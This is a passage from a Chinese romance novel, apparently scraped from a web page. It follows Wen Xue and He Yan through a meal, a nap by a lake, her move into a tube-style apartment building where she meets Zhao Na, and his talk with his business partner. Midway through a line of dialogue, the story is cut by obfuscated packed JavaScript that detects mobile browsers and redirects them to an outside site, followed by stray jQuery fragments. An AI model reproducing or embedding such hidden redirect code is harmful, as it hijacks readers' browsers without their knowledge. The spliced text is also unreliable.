闻雪看着这碗鸡汤有些犯难,却也没说什么,双手托着碗,在贺岩的注视下,乖乖地轻啜几口,即便味蕾没有被完全打开,她的舌尖也能尝到这汤有多鲜美,温度有些烫,在冬天喝正好,下肚后胃也暖暖的。
“好喝。”她抿唇浅笑。
贺岩松了口气,“这里的鸡汤很有名,还有餐厅老板特意来买她的方子,我去喝过,不如梅姐自己炖的好。”
这锅汤用料足,母鸡都不是吃饲料的,喂养在农庄吃稻谷跟虫子。
小火慢炖几个钟,最后只要加点盐味道就很好。
闻雪喝了汤,又慢慢将鸡腿吃下,在贺岩还准备往她碗里添汤加肉时,她急忙出声:“不了,我真吃不下了,好撑。”
最后几口肉,她都是勉强咽下去的。
“行。”贺岩放下汤勺,“还剩半锅,倒掉太可惜,等会带走。”
他虽然平铺直叙,但说这话时,眼睛是看向她,也是在征求她的意见。他的想法很简单,鸡汤滋补,瞧着她也爱喝,索性打包带走当晚餐或者宵夜。
“好。”
贺岩吃饭不挑,桌上的红烧鱼跟白菜他吃得很香,没一会儿就往碗里添饭。
本来闻雪没注意他,她吃饱了开始放空自己,看着院子里的一草一木,眼神并不专注,四处游移,最后不经意地定在贺岩脸上,发现他也瘦了很多,她还记得,去年春节他从火车站出来,看似疲倦,实则意气风发,现在眉宇之间有着挥不去的沉郁。
她想,或许是她太过软弱,明明他比她要悲恸得多得多,可他还是能重新振作起来,真的很了不起。
“再吃点?”
贺岩感觉到她的目光,抬起眼眸,以为她想吃饭,“梅姐烧的鱼不错。”
闻雪起初不饿,看他一连吃了两碗,鬼使神差地点了下头,“好。”
但她学聪明了,没让他帮忙,她觉得如果让他来盛,饭肯定堆成小山包。
她只添了小半碗,听他的用鱼汤拌饭,就着清甜可口的白菜,竟然吃得干干净净。
…
吃撑了的结局是当她重新坐上车,车在路段颠簸时,她越来越困,实在抵抗不住困意,脑袋一点一点的,然后头一歪睡了。
贺岩偶尔侧目看她,很想叫醒她,毕竟是冬天,在车上睡很容易着凉,但张了张嘴,瞥见她卷翘睫毛也盖不住的那一抹青色,话又咽了回去,只能在放慢车速的同时,目光穿过挡风玻璃看看周围,追着太阳走,让午后温暖的阳光能够充分地笼罩着她。
最后,车辆停在了公园附近的停车场,风都带着暖意。
冬天昼夜温差大,入夜后寒风凛冽,白天气温很舒适,此时有人脱了棉袄绕湖在散步。
闻雪睡的时间并不长,也就半小时左右,但当她迷迷糊糊睁开眼睛时,首先看到的便是窗外不远处那波光粼粼的湖面,闪着仿佛宝石般的色彩光芒,紧接着是童言稚语传入她的耳朵,原来是年轻的父母带着一双女儿吹泡泡,最后是一道低沉略沙哑的男声——
“醒了?冷不冷?”
她缓缓转过头,看向贺岩,他剑眉寸头,左手手臂懒洋洋地搁在方向盘上,右手握着手机,只穿了件烟灰色毛衣,外套呢?本就反应慢半拍,刚醒来,后知后觉地发现,他的外套正搭她身上。
“不冷。”她赶忙把外套还给他。
贺岩抬手指指湖那边,“看到没?你下去溜达溜达,那里应该有自动贩售机,帮我买两瓶水。”
闻雪顺着他的视线看过去,应道:“嗯。”
等她下车,脚踩地的那一瞬间,微风拂面,吹起发丝,再往前走,这条绕湖的路,阳光铺洒,树影斑驳,她下意识地回过头,十几米外,那辆黑色吉普车灰扑扑地停在原地。
车内,贺岩似乎一直盯着她,见她回头,抬手做了个“去吧”的手势。
明明隔着这么远,她还是回了句:“好。”
闻雪睡醒,下车时还有些冷,走了一段路后,重新暖和起来,没一会儿就看到了贺岩说的自动贩售机,买了两瓶矿泉水。天气好,来公园游玩的人很多,可能是睡过一觉的关系,她久违地,感觉好像没那么疲倦。
-
等他们再次出发,来到贺岩租住的筒子楼时,已经是下午四点半。
闻雪跟在他身后走进这栋楼,有种回到童年的惊奇错觉。那时父母上班的厂宿舍就是这样,一条通廊贯穿,串联着不少房间,现在别说是新城区,老城区这种建筑风格的筒子楼都被拆迁,少之又少。
“这里住的是熟人。”贺岩轻松地提着箱子走在前面,“夫妻居多,人都挺好,我就住你楼下,有事你往外面喊一声就行。”
闻雪打量着脱皮的墙,被人踏得不平的台阶,只觉得好稀奇,正暗自猜测这里的租金是不是比别处要便宜时,由上而下哒哒哒的下楼声传来,打断了她的思考。
穿着毛呢裙的年轻女人还没走到他们这一层,她身上馥郁的香水味更早一步散到鼻间。
“呀!”
年轻女人急急顿住脚步,临近年关,大家都无心工作,她今天偷懒耍滑,四点就打卡下班回来,将自己捯饬得漂漂亮亮,准备等男朋友收车回来就去附近夜市吃吃逛逛。
谁知好死不死,被老板撞了个正着,她这什么鬼运气呀。
她欲哭无泪,“岩哥……”
果然贺岩上下扫视她,“你没上班?旷工?”
“岩哥……”女人双手无措地攥着包带,“那个,那个——”
她这才注意到贺岩身后的闻雪,还以为自己眼花出现幻觉了,否则他们孤寡岩哥怎么跟个年轻妹妹在一块儿?
“哎?岩哥,这是??”
贺岩不再追究她早退这件事,点了点下巴,“正好,你帮她把屋子收拾收拾。”
闻雪看对方急着出门,便轻声道:“不用的,东西不多,我一个人也能弄好。”
“不不不,你不行,你需要我!”
年轻女人二话不说,接过贺岩夹在胳膊下的被褥抱在怀里,扬唇一笑:“先介绍一下,我名字赵娜,他们都叫我娜娜,你呢?”
“闻雪,听闻的闻,下雪的雪。”
“哇,听见下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735189|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪,然后你就出生了是不是?”
闻雪莞尔:“应该是。”
“真好!”
三人一前一后来到保洁打扫干净的房间,面积不大,也就十几个平方,还做成了隔间,简简单单的大白墙,除了一张铁架床,简易衣柜,就什么也没了。
贺岩环顾一圈,沉声喊娜娜,对方心领神会,马上道:“岩哥,我肯定帮她整理好,我办事你就放心吧!”
“行。”
贺岩抬手看向腕表,“你们吴总还在公司吧?”
“在的在的!”
贺岩的目光从表盘移到闻雪脸上,思索数秒,沉吟:“我得去趟公司,估计要晚点回,有事直接给我打电话,我要是没接你就多打几次。”
闻雪轻轻地点头,“好。”
娜娜眼睛滴溜溜地转着,忙都忙不过来,一会儿看贺岩,一会儿看闻雪,差点按捺不住好奇心追问,触及老板那张严肃的脸,她悻悻地闭紧了嘴巴。
贺岩:“我先走了。”
闻雪嗯了声。
娜娜耳聪目明,确定贺岩下楼后,她小跑到走廊,扶着栏杆往下看,见他走出筒子楼上车,她拍了拍胸口,自言自语道:“吓死个人。”
…
吉普车发动机的响动不算小,吴越江坐办公室里都能听到,将打印出来的合同放好,随手扔在对面的办公桌上,余光看见贺岩高大的身影走来,便道:“一下午去哪呢,给你打电话也不接。”
“不是回你消息了?我有事,忙。”
“我没时间跟你发消息。”吴越江放下钢笔,狐疑看他,“你不太对劲,究竟去了哪里?”
前天下午,他就发现贺岩很古怪,明显一副心不在焉的模样。
昨天跟今天更是直接玩消失。
这不得不令他警铃大作,几个月前贺岩过了段颓废的日子,甚至有一天还将把手里的股份都便宜转给他,他气得一拳头砸过去,什么修养啊素质全没了,不得不放下狠话,谁要是敢撂摊子,兄弟也别做了,这才让贺岩打消念头。
该不会前几天去了趟庙里,又给他来心灰意冷想出家这一套吧?
“去了趟市里。”
贺岩拉开椅子坐下,随意翻翻合同,“有件事跟你说下,我带了个人过来,蔡姐的工作分给她做,她的工资我给,你们不用过问。”
吴越江:“……”
行,只要不是庙里,去美国都行。
他推推鼻梁上的眼镜,“谁?”
“闻雪。”
贺岩记起一桩很重要的事,拿起桌上的座机拨出号码,那边一接通,他便皱眉问道:“昨天交待你买的取暖器呢?”
吴越江还在消化“闻雪”这个名字带来的冲击。
忽然又听到“取暖器”,讶然地看过去。
电话那头的汪远声音高昂,连吴越江都能清晰地听到他在大声喊:“买了买了,哥,我在挑热水袋,毛绒绒的好可爱,我试过了,手揣着也特别温暖!对了,老板说还有暖脚宝,要不要?”
贺岩无奈地将话筒拿开了些,“买。”